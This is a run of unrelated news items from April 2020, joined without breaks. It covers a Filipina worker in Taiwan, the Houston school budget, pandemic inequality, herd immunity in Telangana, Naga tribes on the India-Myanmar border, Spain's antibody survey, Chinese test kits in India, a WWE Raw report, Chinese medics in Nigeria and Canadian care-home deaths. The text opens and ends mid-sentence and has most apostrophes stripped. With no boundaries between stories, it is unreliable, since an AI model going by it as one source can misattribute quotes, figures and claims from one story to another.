security. "If we hadn't shown off the children with guns," Sanchez Luna said, "the governor would never have come." Watch the whole video here: Metro Manila (CNN Philippines, April 28) Taiwan rejected on Tuesday the move to deport the Filipina worker critical of President Rodrigo Duterte, on the grounds that the overseas worker has not violated its country's laws. In a press briefing, Taiwan's Ministry of Foreign Affairs said the rights and interests of its foreign workers are protected by the country's laws and regulations. The ministry added that it is willing to coordinate with the Philippines regarding the issue, provided that the latter submits a request for mutual legal assistance through diplomatic channels. In a statement, the Department of Labor and Employment earlier accused the Filipina of cyberlibel for "willful posting of nasty and malevolent materials against President Duterte on Facebook intended to cause hatred amidst the global health crisis brought about by the COVID-19 pandemic." READ: DOLE wants Taiwan to deport OFW for comments vs. Duterte The Philippine Overseas Labor Office in Taiwan said it got in touch with the OFW's broker and employer on her deportation. However, Presidential Spokesperson Harry Roque denied on Sunday that Malacanang has requested for the deportation of the caregiver. Meanwhile, Amnesty International Philippines called on authorities to drop their probe and threats of deportation against the Filipina, adding that the alarming move undermines freedom of speech. The Philippine government must drop its investigation of the OFW solely for her peaceful expression of dissent, and abolish its plan to initiate deportation proceedings against her, Amnesty International Philippines Section Director Butch Olano said in a statement. The human rights group also accused the Duterte government of "cracking down on dissent, adding that the latter carries out a repressive campaign through its Bayanihan to Heal as One Act. The law, which grants the President special powers to address the COVID-19 pandemic, also penalizes those who create or perpetuate false information amid the coronavirus pandemic. According to the human rights group, the State is using the said law to silence those who speak up against the administration through its use of the vaguely worded and overbroad provision against fake news. "Any limitation on the right to freedom of expression in light of the pandemic must be provided clearly in law, and must be necessary and proportionate for the protection of public health or other legitimate purpose under international human rights law. Neither is the case in the situation of the OFW now being singled out for her critical opinion," the group said. It also commended those who continue to be critical despite authorities relentless and unjustified measures to mute dissent." Meanwhile, retired Senior Associate Justice Antonio Carpio earlier stated that Filipinos being penalized for criticizing the government should know better than to be "intimidated" by authorities. "The rule is you cannot punish speech, expression unless there is a clear and present danger that the expression invites imminent lawless action from the person who hears or reads it," Carpio said. "There's a very high bar that they (police) have to overcome." Houston ISD administrators still want to offer minimal raises and keep employees health insurance costs flat in the upcoming school year, even as the novel coronavirus pandemic causes enormous uncertainty about the future of school funding, district officials said Monday. In the districts first public budget discussions since the pandemic, Interim Chief Financial Officer Glenn Reed said HISD leaders are willing to run a meager deficit, initially projected at $18 million, to maintain its spending plan crafted before the coronavirus came to Houston. HISD easily could cover the deficit by using money from a rainy day fund that totals about $500 million. About a week before schools across Texas shut down, HISD officials pitched the same budget that included an additional $24 million for employee raises an increase of 1 percent to 2 percent, if applied across-the-board and $11 million to ensure employees health insurance costs do not increase. At the time, district leaders said they would avoid a budget deficit. CORONAVIRUS UPDATES: Stay informed with accurate reporting you can trust on HoustonChronicle.com That outlook changed with the arrival of the coronavirus and collapse of the oil market but only slightly. The relatively modest deficit projection reflects the prevailing belief that Texas public school districts will not take a major financial hit in 2020-21, given that state funding already has been allocated for the year and property values were largely set prior to the pandemic. State funds and taxes on property comprise the vast majority of public school funding. However, Reed said district officials are bracing for significantly larger deficits in 2021-22, when the full effects of the coronavirus and collapse in oil prices are felt. Under one early projection shown by Reed, a 4-percent decline in property values in 2021-22 could put HISD at a deficit of about $87 million even before any state-level cuts kick in. HISD saw property values fall by 4 percent during the financial crisis in 2010-11. Thats all going to catch up to us in 2021, Reed said. Whats going to happen to home values from unemployment? Commercial and business values from a reduction in production and sales? Whats the economy going to look as we come around to January of next year? Projections about the final impact of the coronavirus and oil market collapse on local public schools remain in the earliest stage. CORONAVIRUS CHRONICLE: Subscribe to our new daily podcast for pandemic insights through a Houston lens Ultimately, the bottom line will depend on multiple factors: the true economic fallout from the pandemic, the speed at which Texas oil market bounces back, the amount of federal funding allocated to buoy districts, the willingness of state legislators and district leaders to tap their hearty rainy day funds. Still, the prospect of devastating revenue reductions has rattled education leaders, who worry about the potential for layoffs and reductions in programs for children. State officials have warned districts to budget conservatively for the upcoming fiscal year, cognizant of the potential for cuts in 2021-22. I just want us to be really thoughtful in our budget this year (so) that we dont set ourselves up for for having to (layoff) more staff next year when were having a really big problem with legislative revenue, HISD Board President Sue Deigaard said. HISD officials are proposing a 2020-21 budget that largely mirrors this years spending plan. Trustees are expected to vote on the recommended budget in June. The proposed $24 million increase in salary spending would not be enough to push HISDs teacher salaries into the top half among districts in the Greater Houston area. HISD teachers earn about $3,000 to $5,000 less in salary than peers in the highest-paying districts, though benefits packages vary. A compensation committee comprised of HISD administrators, educators and union representatives is still meeting to discuss recommendations for how to allocate any money for raises. jacob.carpenter@chron.com Representative Image Efforts to quickly restart economic activity risk further dividing Americans into two major groups along socioeconomic lines: one that has the power to control its exposure to the coronavirus outbreak and another that is forced to choose between potential sickness or financial devastation. It is a pick-your-poison fact of the crisis: The pandemic recession has knocked millions of the most economically vulnerable Americans out of work. Rushing to reopen their employers could offer them a financial lifeline, but at a potentially steep cost to their health. State and federal officials have nowhere near the testing capacity that experts say is needed to track and limit the spread of the virus, and there is no vaccine yet. But states are already reopening, urged on by President Donald Trump, who is eager to restart the US economy. To track all live updates from the coronavirus pandemic, click here That push is likely to exacerbate long-standing inequalities, with workers who are college educated, relatively affluent and primarily white able to continue working from home and minimising outdoor excursions to reduce the risk of contracting the virus. COVID-19 Vaccine Frequently Asked Questions View more How does a vaccine work? A vaccine works by mimicking a natural infection. A vaccine not only induces immune response to protect people from any future COVID-19 infection, but also helps quickly build herd immunity to put an end to the pandemic. Herd immunity occurs when a sufficient percentage of a population becomes immune to a disease, making the spread of disease from person to person unlikely. The good news is that SARS-CoV-2 virus has been fairly stable, which increases the viability of a vaccine. How many types of vaccines are there? There are broadly four types of vaccine one, a vaccine based on the whole virus (this could be either inactivated, or an attenuated [weakened] virus vaccine); two, a non-replicating viral vector vaccine that uses a benign virus as vector that carries the antigen of SARS-CoV; three, nucleic-acid vaccines that have genetic material like DNA and RNA of antigens like spike protein given to a person, helping human cells decode genetic material and produce the vaccine; and four, protein subunit vaccine wherein the recombinant proteins of SARS-COV-2 along with an adjuvant (booster) is given as a vaccine. What does it take to develop a vaccine of this kind? Vaccine development is a long, complex process. Unlike drugs that are given to people with a diseased, vaccines are given to healthy people and also vulnerable sections such as children, pregnant women and the elderly. So rigorous tests are compulsory. History says that the fastest time it took to develop a vaccine is five years, but it usually takes double or sometimes triple that time. View more Show Those who are lower paid, less educated and employed in jobs where teleworking is not an option would face a bleak choice if states lift restrictive orders and employers order them back to work: expose themselves to the pandemic or lose their jobs. That disempowered group is heavily black and Latino, though it includes lower-income white workers as well. Its sad and scary, said Tina Watson of Holly Hill, South Carolina, who has seen her hours cut in half at the Wendys where she works. Though her income has dropped from that cutback, she is worried about having to interact with customers when the state relaxes limits that have forced the restaurant to operate as drive-through only in recent weeks. Im feeling like my life is at risk if they open up our dining, Watson said. A growing share of workers is increasingly stuck with that choice. The governors of Georgia and South Carolina have begun allowing some businesses to reopen, even though both states continue to see new infections and what the Centres for Disease Control and Prevention call widespread community spread of the virus. On April 24, Govenor Brian Kemp of Georgia allowed gyms, nail and hair salons, and bowling alleys to begin operating, with restaurants and movie theaters allowed to open on April 27. Colorado, Minnesota, Mississippi and Ohio are also allowing some businesses to start operating again. Rashad Robinson, the President of the racial justice advocacy group Color of Change, said Georgias governor has targeted a whole set of businesses where black people both work and patronise. For those workers and customers, he said, it is an absolute death sentence. The inequality were seeing isnt unfortunate like a car accident, Robinson said. Its unjust. Its being manufactured through a whole set of choices. Even though they face higher risks from reopening, a small but meaningful share of financially hurt workers is clamouring to return to work. One in 11 Americans, according to national polling data by the digital research firm Civis Analytics, have lost a job, hours or income or know a family member who has during the pandemic but oppose mandatory lockdowns. Americans who earn $50,000 a year or less are more than twice as likely to say they or a family member have lost jobs amid the crisis as those who earn more than $150,000, the polling found. Higher earners and whites are far more likely to say they can work from home during the pandemic than lower earners and black and Latino Americans, according to an April poll for The New York Times by the online research firm SurveyMonkey. Black and Latino Americans have less ability to withstand a prolonged job loss than whites, because they entered the crisis with lower incomes and less wealth. The median black household had just under $18,000 in wealth in 2016, Federal Reserve statistics show, while the median Hispanic household had just under $21,000. The median white household had nearly 10 times more: $171,000. In 2018, the typical Hispanic household earned three-quarters of what a typical white household earned, according to census data. The typical black household earned three-fifths of what the typical white household earned, and their household income had yet to return to pre-financial-crisis highs. The virus has only exacerbated that inequality, with minorities suffering both higher death rates and more financial harm. In New York City and across the country, black and Latino Americans are dying at higher rates from the virus than whites. Economic polling data shows they are also losing their jobs and income to an outsize degree. In Minnesota, the share of black workers filing for unemployment over the last month is nearly 50 percent higher than the share of white workers. The Civis Analytics polling over the last several weeks found that black and Latino Americans were far more likely than whites to report that they had lost a job or income from the virus, or that it had caused them to miss a rent or mortgage payment or face eviction. Calculations by the Centre for Economic and Policy Research found that black and Latino Americans were overrepresented in many essential jobs of the pandemic, like grocery store clerks and delivery drivers. In New York City, three-quarters of front-line workers in the pandemic were Americans of colour. Nationwide, about one in five black workers were in the health care industry last year, compared with about one in eight white workers, Bureau of Labour Statistics data shows. The risks and damage from the virus are disproportionately landing on the black and brown workers that are disproportionately in minimum-wage services jobs, said Mary Kay Henry, the President of the Service Employees International Union. Researchers from the JPMorgan Chase Institute warned this month in a report that the coronavirus recession would hit black and Hispanic families harder in terms of lost income, forcing them to cut back their spending to a greater degree than whites, because black and Hispanic families have fewer savings to fall back on. Follow our full coverage of the coronavirus pandemic here There could be immense and devastating income effects that could be involved with this evolving depression, said William A. Darity Jr, an economist at the Sanford School of Public Policy at Duke University, who is a leading scholar of economic discrimination in the United States. Inequality, he said, has been horrendous in recent years, and I can only imagine those disparities would get worse. c.2020 The New York Times Company Oishani Mojumder By Express News Service HYDERABAD: Even though people are getting impatient over the current restrictions, a high-level State health department official told Express that lifting the lockdown anytime soon to experiment with the concept of herd immunity will be disastrous for the State. Therefore, the Telangana government will not consider herd immunity as a strategy to combat COVID-19 in the current scenario, due to lack of evidence-based research, he emphasised. Herd immunity is when an infectious disease stops spreading in a community, either because the people in the community may have developed a natural immune system to the disease, or enough number of people have been vaccinated against the infection for the spread to be restricted. No concrete research is available across the globe to justify herd immunity without a possible vaccine, as a measure against COVID-19. Speaking to Express, a top-ranking official from the Department of Public Health said, If we were to rely on herd immunity, we would be risking the lives of people, especially the older population. There is no evidence-based research, specifically for COVID-19, to imply that herd immunity can be achieved, especially without a vaccine. The UK tried it and failed miserably. There is enough evidence that it is better to follow isolation and lockdown procedures. Another popular narrative has also pushed for rapid testing of random groups of people to identify affected areas and use the data for achieving herd immunity. However, officials mapping the pandemic in the State have denounced claims connecting rapid testing and herd immunity. The ICMR too has asked all the States and UTs to stick to isolate-and-test with RT-PCR tests, after rapid-testing kits acquired by the government threw up faulty sensitivities. Another official in-charge of mapping the pandemic said, The rapid antibody tests are not confirmatory procedures. They are screening procedures. Rapid testing could also throw up a lot of false negatives, thus missing out on positive cases. The king of the Konyak tribe sleeps in Myanmar, but eats in India -- his house, village and people divided by a mountain border which serves as a vulnerable lifeline now severed by a coronavirus lockdown. The Konyak are just one of dozens of Naga tribes, a people yearning to reunite the 3 million living in India with their 400,000 estranged -- and much poorer -- cousins in Myanmars isolated far north. Many from Myanmar cross the border to attend school, sell vegetables or visit a hospital, as it is a days-long journeys by foot to the nearest town in Myanmar. Even in normal times, they live at the mercy of Indian soldiers guarding checkpoints against the threat of guerrilla groups fighting for reunification. Tonyei Phawng claims to be the 12th generation of his family to rule the Konyak, whose feared tattooed warriors once brought home their enemies' heads as trophies. His son, the crown prince, will one day take over in a lineage many believe possess supernatural powers. Dressed in civilian tracksuit and trainers in his village of Longwa, the 43-year-old king described to AFP in February how his Myanmar brothers were often stopped at the border and detained. "Their rights are denied." Days later, the border was shuttered, not at the whim of Indian soldiers, but due to the threat of COVID-19. While the Indian government was providing some emergency rations, nothing had arrived from Myanmar authorities, Longwa-based tour guide Nahmai Konyak, 34, told AFP by phone. Those living hand-to-mouth in Myanmar are finding it very difficult, he said. "We just cant help them." - 'Brainwashed' brothers - Retreating British colonialists left behind the frontier after World War II, cleaving the Konyak tribe of 44 villages in two alongside several other tribes. The Naga on both sides enjoy some degree of autonomy, but there is a huge disparity of development. Indian roads lead right up to the frontier, bringing business and even some hardy tourists. Over the border, off-grid villages with few schools or amenities dot thickly-forested slopes, connected by muddy paths in one of Myanmars poorest regions. Thousands of Naga have taken up arms over decades to try to win a united homeland by force. The rebels splintered in the late 80s into two main groups, one fighting for the Naga cause each side of the border. Civilians must pay taxes to help finance the groups and many families "sacrifice" a son to the resistance, says Myanmar Naga activist Jacob Ngansa. But Delhi's relative investment is chiselling away support over the border, the 23-year-old admits with sadness. "They are brainwashed by the Indian government." With India-Myanmar relations blossoming, these are ominous times for Naga nationalists. The Southeast Asian nation is hungry for new allies after being snubbed by the West over the Rohingya crisis, while India is keen to counter Chinas regional influence over its smaller neighbour. The allies recently held joint-military exercises and Myanmars president in February signed numerous deals on his visit to the subcontinent also re-affirming a pact to prevent rebels mounting cross-border attacks. - Dose of realism? - Other Naga unionists choose politics over force. The newly-formed Naga National Party (NNP) aims to woo the Naga vote in Myanmar's elections due later this year. Once they are in power, chairman Shu Maung says, they will work within the system to bring change. "You cannot live in your uncle's house forever." The battle for the ballot box has already started. Regional MP for the National League of Democracy Kail, who goes by one name, is Naga but says his immediate priorities are education, healthcare and food. "Once we have those, then maybe the younger generations can take up the fight again for the dream." But analyst Bertil Lintner believes the best the Myanmar Naga can hope for is more autonomy within the country. A united Nagaland is "never going to happen," he says, not least because the tribes are so divided among themselves. At a viewpoint overlooking Longwa village, smartly-dressed Rongsen Ao was one of the last tourists to make it to the border before it closed. Excitedly hopping from one side of a demarcation post to the other, the 65-year-old Indian Naga doctor said he had fulfilled a childhood dream by seeing the frontier in person. But his smile faded when asked about the Naga's quest for a homeland. "Everyone feels bitter about being divided...but this is beyond our control." After a two-week delay, the seroprevalence survey that aims to provide a picture of the spread of COVID-19 among Spains general population by testing up to 36,000 households across the country has finally kicked off this week. However, it has been an uneven start. In Catalonia up to 9,900 people living in 3,409 households have been contacted by phone, but no immunity tests have been administered yet. Although Spains Health Ministry had initially announced that they would be conducting the survey on their own, eventually they decided to divide up the task among the various regional administrations, some of which are running into logistics issues due to the organisational demands posed by testing on such a massive scale. Catalonias Health Minister, Alba Verges, explained on Monday that they had begun giving out appointments by phone in up to 146 primary care centres. What will the tests be like? When will the results be known? Why do the Spanish authorities believe that the survey is so important? What follows is the low-down on the first batch of massive testing ever done on the general population, regardless of whether they were ill or not. When will we know the results? The plan is for the survey to be carried in three phases. That is, the same subjects will be tested three times over a six-week period, with a two-week break in between tests. The macro survey will be coordinated by Raquel Yotti, the director of Instituto de Salud Carlos III, in partnership with Spains Instituto Nacional de Estadistica (INE) the government body tasked with selecting which households are to be tested. On Monday Ms Yotti stated that they expect the tests preliminary results to keep coming in and that they should provide a diagnostic within just one week, once the first half of the testing has been completed. The first full picture will emerge in two weeks time, but the whole survey will not be concluded until the end of the first week in June. This calendar is different from the initial timeline provided, which didnt anticipate getting any results until the very end, after an eight-week period. Why are these tests important? The Spanish government places a great deal of importance on these tests and they claim that Spain is the first European country to launch an effort of this magnitude. They also keep mentioning that, according to the OECD, Spain is one of the countries that have administered the most CRP tests. Nevertheless, at a press conference on Tuesday PM Pedro Sanchez is expected to roll out his plan to ease the lockdown without having any data from the survey. During an online Q&A with media in Madrids La Moncloa palace, Ms Yotti remarked that it is important to ascertain the magnitude of the epidemic on different levels: national, regional and local. The data we obtain will allow us to make better-informed decisions, she added, and she went on to say that it is equally vital to find out the extent of the spread by age group and demographic cohort. What will the tests be like? The idea is to test each subject a total of three times. Ms Yotti asked the general public to cooperate, even though testing is voluntary and people may opt out. So far they have been phoning up the households selected by the INE. Every individual will need to fill in a form and will receive an appointment for a test at home and another at a medical centre, to avoid any risk of infection. The initial antibody test will involve taking a small sample of blood from a prick on the finger, as if testing for glucose level, and the results will be available in ten minutes. The second blood test will be done at a health centre in order to analyse the results more in depth. It should be pointed out that the antibody tests that the Spanish authorities are distributing arent always reliable. Some subjects who test negative go on to test positive on a CRP test. These tests reveal whether an individual has been infected with the coronavirus at some point. How many tests have been administered in Spain so far? This survey is not a form of mass-testing the population, as the total sample of potential participants is only 90,000 (about three people per household, which on average includes 2.5 members in Spain). The initial tests will check for antibodies and so far the Spanish authorities have distributed 2.8 million such kits. Furthermore, in a statement released on Monday the Spanish Health Ministry announced that they have administered 310,038 antibody tests and over one million CRPs (1,035,522 to be precise) so far. The ministry claims that the OECD published a report on Monday stating that Spain is the eight member state to have carried out the most tests: 28.6 for every 1,000 people. Is the information valid for Catalonia? Last week Catalonias Health Minister pointed out that the survey was insufficient for Catalonia because it was organised by province rather than health care region. The latter would have painted a clearer picture with a view to easing the lockdown restrictions. Still, she added that they would carry it out in such a way that it might be supplemented with data provided by the Catalan administration. However, on Monday she only mentioned that the phone calls had begun and gave no further details. What are the other immunity tests saying so far? They suggest the exact opposite of what was initially thought: not many people have become infected but remain asymptomatic. The preliminary results of some surveys suggests that only a relatively small percentage of the population, even in the worst hit areas, might have become infected. No more than 2 or 3 per cent. That is what WHOs secretary general Tedros Adhanom said last week when he spoke about the scientific studies that aim to detect coronavirus antibodies in healthy individuals in order to estimate how many people might have caught the disease without developing any symptoms. China on Tuesday expressed concern about an Indian medical bodys decision to stop using rapid antibody testing kits made by two Chinese firms, saying their products meet quality standards and are exported to many other countries. The quality of medical products exported from China is prioritised. It is unfair and irresponsible for certain individuals to label Chinese products as faulty and look at issues with pre-emptive prejudice, Chinese embassy spokesperson Ji Rong said in a statement issued early on Tuesday. The statement came hours after the Indian Council of Medical Research (ICMR), which plays a key role in advising authorities engaged in the fight against Covid-19, said state governments should stop using the rapid antibody testing kits from Guangzhou Wondfo Biotech and Zhuhai Livzon Diagnostics after several states questioned the efficacy of the kits. Ji said: We are deeply concerned with the evaluation results and the decision made by ICMR. Also Watch l Covid-19: Chinese test kits sold to India allegedly overpriced; Govt reacts Both Wondfo and Livzon, she said, had clarified that their testing kits had been certified by Chinas National Medical Products Administration (NMPA), meet the quality standards China and importing countries, and had also been validated and approved by ICMR through the National Institute of Virology (NIV) in Pune. The Covid-19 antibody rapid test kits produced by these two Chinese companies have been exported to and well recognised in many countries in Europe, Asia and Latin America, she added. Ji further said Beijing hopes New Delhi could respect Chinas goodwill and sincerity, strengthen communication timely with relevant Chinese companies based on facts, and resolve [the matter] reasonably and properly. She said there are strict requirements for the storage, transportation and use of rapid antibody testing kits. Any operation which is not carried out by professionals in accordance with the product specifications will lead to the testing accuracy variations, she said. Ji described viruses as a common enemy of mankind and said China will continue to support Indias efforts in fighting Covid-19, strengthen medical and health cooperation, and jointly work to overcome difficulties to safeguard the safety of people in both countries. India has placed orders for hundreds of thousands of testing kits and millions of personal protective equipment (PPE) kits with Chinese firms. However, several state governments reported wide variations in the results produced by kits from Wondfo and Livzon. The ICMR stressed in a statement issued on Monday that rapid antibody testing kits should be used only for surveillance, and said it had evaluated the kits from Wondfo and Livzon in field conditions. The results have shown wide variation in their sensitivity, despite early promise of good performance for surveillance purposes, the statement said. In view of this, states are advised to stop using these kits procured from the above-mentioned companies and return them to be sent back to the suppliers, the statement added. A separate Indian government statement said orders from the two Chinese firms had been cancelled as their kits were under-performing. This statement added that ICMR had not made any payments so far for the supplies and the government wouldnt incur any losses from the cancellation of the orders. Wondfo reacted to ICMRs decision by it was surprised and disappointed as its SARS-CoV-2 Antibody Test (Lateral Flow Method) is one of the first tests to receive an import licence from India, and has been validated and approved by ICMR through National Institute of Virology (NIV), Pune. We are currently investigating the ICMRs concerns with our products and will share more information when it becomes available, Wondfo said in a statement. SHARE THIS ARTICLE ON WWE RAW REPORT: US TITLE MATCH, SIX MAN TAG MATCH, A CONTRACT SIGNING, TOP TEN HHH MOMENTS, AND MORE We are the WWE Performance Center and your announcers are Tom Phillips, Samoa Joe, and Byron Saxton. Montel Vontavious Porter is in the ring for the VIP Lounge. He says he has three guests tonight and they will be in the most unique Money in the Bank Ladder Match in WWE history. He brings out his first guest, Rey Mysterio. MVP welcomes Rey back to the lounge and tells him to be at home. The next guest is Aleister Black. MVP welcomes Black to the VIP Lounge and says he doesn't look like someone who hangs out in VIP Lounges so he tells him not to break anything. MVP brings out his third guest and his pick to win, Apollo Crews. MVP says everyone wants to know what it means to become Mr. Money in the Bank. He asks Rey first. Rey starts to speak and MVP takes the mic away and says it means to add to his legacy and cement his career. MVP says Black winning elevates him to a higher level. He asks Apollo if he has what it takes. Crews says this match . . . . Andrade's music plays and Zelina Vega comes out with Andrade, Angel Garza, and Austin Theory. Zelina says that nobody wants to hear what Apollo Crews has to say. What the WWE Universe can't have enough of is . . . none of you in the ring. Zelina says the WWE Universe can't get enough of the United States Champion Andrade, Raw's Lethal Lethario Angel Garza, and WWE's fastest rising star Austin Theory. These three men are the future of Monday Night Raw. You were deemed the future at one point, but none of you measure up to her trio. The future that you three now represent is a bleak one. One where that Money in the Bank contract resides somewhere other than Raw. Zelina says you three need to do what is right. You need to show that you can do what is best for Raw and let these three to take your place. MVP says La Muneca has spoken and Rey takes the mic. You were expecting for us to give up our Money in the Bank spots. You must be crazy. You came out here to pick a fight with us. All six men battle in the ring and Zelina's A Team leaves the ring before things can escalate. We go to commercial. Match Number One: Apollo Crews, Rey Mysterio, and Aleister Black versus Andrade, Austin Theory, and Angel Garza (with Zelina Vega) Black and Garza start things off but Garza needs to remove his jacket before there is any action. Garza offers his hand and Black shakes it and he takes Garza to the mat. Black works on the leg and Garza gets to the ropes. They lock up and Garza with a hammer lock. Black returns to the leg. Garza escapes and Black with a waist lock. Garza with kicks to the hamstring and punches. Black with a hip toss into a hammer lock. Garza with a forearm and he gets a near fall. Black with a leg sweep and a rollup for a near fall. Black with an arm drag into an arm bar. Crews tags in and Garza with punches. Theory tags in and Crews with a shoulder tackle and a delayed vertical suplex. Theory with a kick against the ropes followed by an Irish whip and Crews floats over and hits a drop kick followed by arm drags into an arm bar. Rey tags in and he kicks Theory. Rey with shoulders in the corner. Theory with an Irish whip and Rey floats over and sends Theory into the turnbuckles for a near fall. Rey with a wrist lock. Theory with a knee to the midsection and Garza tags in.Rey with a wheelbarrow into a head scissors and arm drag that sends Theory and Garza into the ropes. Andrade kicks Rey and he has something to say to Black. Rey with a head scissors that sends Andrade into the ropes but Theory and Garza pull Andrade out of the ring. Black and Crews with planchas as we go to commercial. We are back and Black is in the corner and Andrade with knees and forearms. Theory tags in and he punches Black. Theory with a snap mare and reverse chin lock. Theory with knees and a suplex for a near fall. Theory gets a near fall and he punches Black in the head. Theory with a rear chin lock. Theory with a forearm to the back and then he gets Black up for a Torture Rack and he drops Black onto the top turnbuckle. Theory with a belly-to-back suplex for a near fall. Garza with a tag and a knee. Andrade gets a near fall. Theory tags in and kicks Black. Theory with a front face lock. Theory works on the leg and he kicks Black in the head. Theory sends Black into the turnbuckles but Black with an elbow and kick followed by a victory roll for a near fall. Theory keeps Black from making the tag. Black kicks Theory away but Theory stops Black. Black with a kick and Theory goes down. Rey and Andrade tag in. Rey with forearms and a head scissors take down. Rey is sent to the apron and Rey with a shoulder. Rey with a springboard seated splash. Andrade with a sunset flip but Rey rolls through and kicks Andrade because you don't sunset flip Rey Mysterio. Andrade counters a wheelbarrow move with a facebuster. Garza tags in and Rey sends Andrade to the floor with a rana. Rey with a cross body for a near fall. Garza with a pop up knee to Rey and then he removes the pants and sends Rey to the floor. We go to commercial. We are back and Garza with an abdominal stretch and then he sends Rey into the corner and tags in Theory. Theory presses Rey over his head and drops him face first to the mat. Theory with a moonsault for a near fall. Andrade tags in and he kicks Rey in the corner. Rey with an enzuigiri and both men are down. Andrade with a kick to the back. Andrade with a forearm and Rey with a kick to the head. Rey with a springboard move and Andrade catches Rey but Rey with a tornado DDT. Crews and Theory tag in and Crews with clotheslines and he runs Theory into the corner. Crews with a splash and he runs Theory into the corner again. Crews with shoulders. Crews with a spinebuster to Garza. Crews with a power slam to Theory for a near fall. Theory with a fisherman Ushigoroshi for a near fall. Crews with a kick and Theory wtih a forearm to teh back. Andrade tags in and he pulls down the ropes and Crews goes to the floor. Black with a knee to Theory. Garza with a kick to Black. Rey with a springboard seated splash to Garza. Andrade with a spinning back elbow for a near fall. Crews counts the hammer lock DDT into a toss power bomb for the three count. Winners: Apollo Crews, Aleister Black, and Rey Mysterio Tom mentions that we will have the Top Ten Moments of The Cerebral Assassin. Number 10 is March 1998 when DX started. We go to commercial. We are back with Number 9 and it is Sting versus HHH from Wrestlemania in 2015. Andrade is arguing with Zelina and Charly Caruso stops by and asks Andrade what went wrong in the match. Andrade asks what happened. Zelina says she let him down. Andrade says that Apollo, Aleister, and Rey can't beat him in a title match. Apollo Crews stops by and he says he beat Andrade once and he can do it again. He wants to prove that he can beat Andrade twice in one night. Andrade comes back and he tells Apollo any time. Apollo slaps Andrade and says how about now. Zelina asks Apollo if he deserves another shot after getting lucky. If you want a title shot, you got it . . . tonight. We have a video package for Drew McIntyre and Seth Rollins. They will show their penmanship skills later tonight when they sign the contract for their match at Money in the Bank. We go to Moment 8 and it is HH versus the Rock from the first Smackdown when Shawn super kicked The Rock to help HHH win. We go to commercial. Coverage Continues on Next Page. If you enjoy PWInsider.com you can check out the AD-FREE PWInsider Elite section, which features exclusive audio updates, news, our critically acclaimed podcasts, interviews and more by clicking here! The 15-member team of Chinese medical experts who came into Nigeria to support the countrys fight against COVID-19 have all tested negative to the virus, the Minister of Health, Osagie Ehanire, has said. Mr Ehanire, while speaking at the daily Presidential Task Force (PTF) on COVID-19 briefing on Tuesday, said the Chinese tested negative after completing their compulsory 14-day isolation period. As for the Chinese persons who came in, the test has been done after they were quarantined for 14 days. All of them were negative. After that, the Federal Ministry of Health is done with that particular case, he said. The Chinese medical personnel arrived the country on April 8 to share their experiences in fighting the COVID-19. Some Nigerians had kicked against the federal governments decision to invite the medical experts, saying the country had enough doctors to tackle the COVID-19 pandemic. The Nigerian Medical Association (NMA) also described the move as a thing of embarrassment to the membership of the Association and other health workers who are giving their best in the fight against COVID-19 pandemic under deplorable working conditions. Mr Ehanire, however, insisted that the experts would be sharing their experience after making progress in the fight against the virus. The Chinese medics will be providing technical support to Nigeria in its fight against COVID-19, and also sharing experiential strategies of how their country curtailed the spread of the virus, he said. The Executive Director of China Civil Engineering Construction Cooperation(CCECC), Jacques Liao, had also said the primary purpose of the team is to provide CCECC employees with critical and necessary healthcare. As of April 27, Nigeria has recorded 1337 confirmed cases of COVID-19. Out of these, 255 patients have been treated and discharged and 40 deaths recorded. Health workers Meanwhile, Mr Ehanire urged frontline health workers to always use their Personal Protective Equipment (PPE) when carrying out their duties. We have always warned that health workers must use their personal protective equipment, he said. Secondly, if you are not trained in infection prevention and control, COVID-19 is not for you as a health worker. It is very risky to underrate the infectiousness of this virus because it is not like any other sickness or viral infection that you know, he said. He noted that only accredited isolation and treatment centres are allowed to attend to patients suspected of having COVID-19. That is why we have said only accredited isolation and treatment centres should be handling this infection, he said. Private entities that want to participate can apply for accreditation and be trained and certified. Every other person who is doing treatment either privately or secretly is doing so at their own risk and to the public. The heartbreaking tragedy of multiple COVID-19 deaths in Canadian long-term care facilities, and the often-horrific manner in which those deaths have occurred, are evidence of what appears to have become normal in many of those facilities. Hey there, time traveller! This article was published 28/4/2020 (624 days ago), so information in it may no longer be current. Opinion The heartbreaking tragedy of multiple COVID-19 deaths in Canadian long-term care facilities, and the often-horrific manner in which those deaths have occurred, are evidence of what appears to have become "normal" in many of those facilities. It is impossible not to be moved by scenes of family members standing outside on lawns and sidewalks, waving, tears in their eyes, at parents and partners in these facilities. That half of the COVID-19 deaths in Canada have occurred in long-term care facilities is inexcusable. That at least some of these deaths have followed upon confirmed cases of neglect is almost incomprehensible in one of the richest countries in the world. How have we come to this? Why has this happened? A major part of the reason is the breakneck speed at which corporations and governments have pursued economic growth and wealth accumulation seemingly at any cost. Those unable to keep up are pushed aside; they cant be allowed to impede the goal of economic growth. This has been the fate of the many people those elderly and frail, or with various disabilities in long-term care facilities. At least three changes must be made if we are to avoid a recurrence of this tragedy: First, we can no longer place those who are in need of care in the charge of private, for-profit corporations. The goal of these corporations indeed, their legal obligation is to maximize returns for their shareholders. They will cut corners to maximize returns; it is naive to think otherwise. They will reduce staffing, as well as pay and benefit levels, and vulnerable people will suffer. Second, governments will do no better if they are committed to austerity. The same problems will occur, not because of profit maximization, but because cost minimization becomes the goal. Austerity means cost-cutting cuts to wages, benefits and hours of front-line care workers have been a major factor in the multiple COVID-19 deaths in long-term care facilities. So, too, has the failure to monitor and enforce robust care standards also a victim of austerity-driven cuts. Third, the pandemic has made it clear that large numbers of people doing "ordinary" everyday jobs are, in fact, essential workers. The work they do is essential for the day-to-day functioning of our society. These are the health-care workers, grocery clerks, truck drivers, cleaners, warehouse workers, garbage collectors, and many more. Their work keeps our society running. So it is, too, in long-term care facilities the workers are the ones who do what needs to be done. They are essential in any society that would lay claim to being civilized, yet rather than being extolled as the essential workers they are, these front-line workers like so many others have had their working conditions steadily diminished. Want to get a head start on your day? Get the days breaking stories, weather forecast, and more sent straight to your inbox every weekday morning. Sign Up I agree to the Terms and Conditions, Cookie and Privacy Policies, and CASL agreement. This must change. Making the change will require putting in place strong labour standards that protect workers. In recent decades, labour standards have been eroded. Why? Because they get in the way of the narrow pursuit of economic growth and profit maximization. To ensure that strong labour standards are in place and enforced, we need strong unions. The job of unions is to protect the interests of those who are doing the essential work. They are the much-needed countervailing force to the power of corporations and austerity-driven governments. When workers in long-term care facilities are paid well and have proper benefits, our parents and grandparents and other loved ones in those facilities are much more likely to be properly cared for. The tragedy of the multiple COVID-19 deaths of vulnerable people in long-term care facilities makes clear their failings. We do not want a return to "normal" in the aftermath of the pandemic. Normal is the problem in what has become normal, we have lost track of what is important. Human lives are important; the 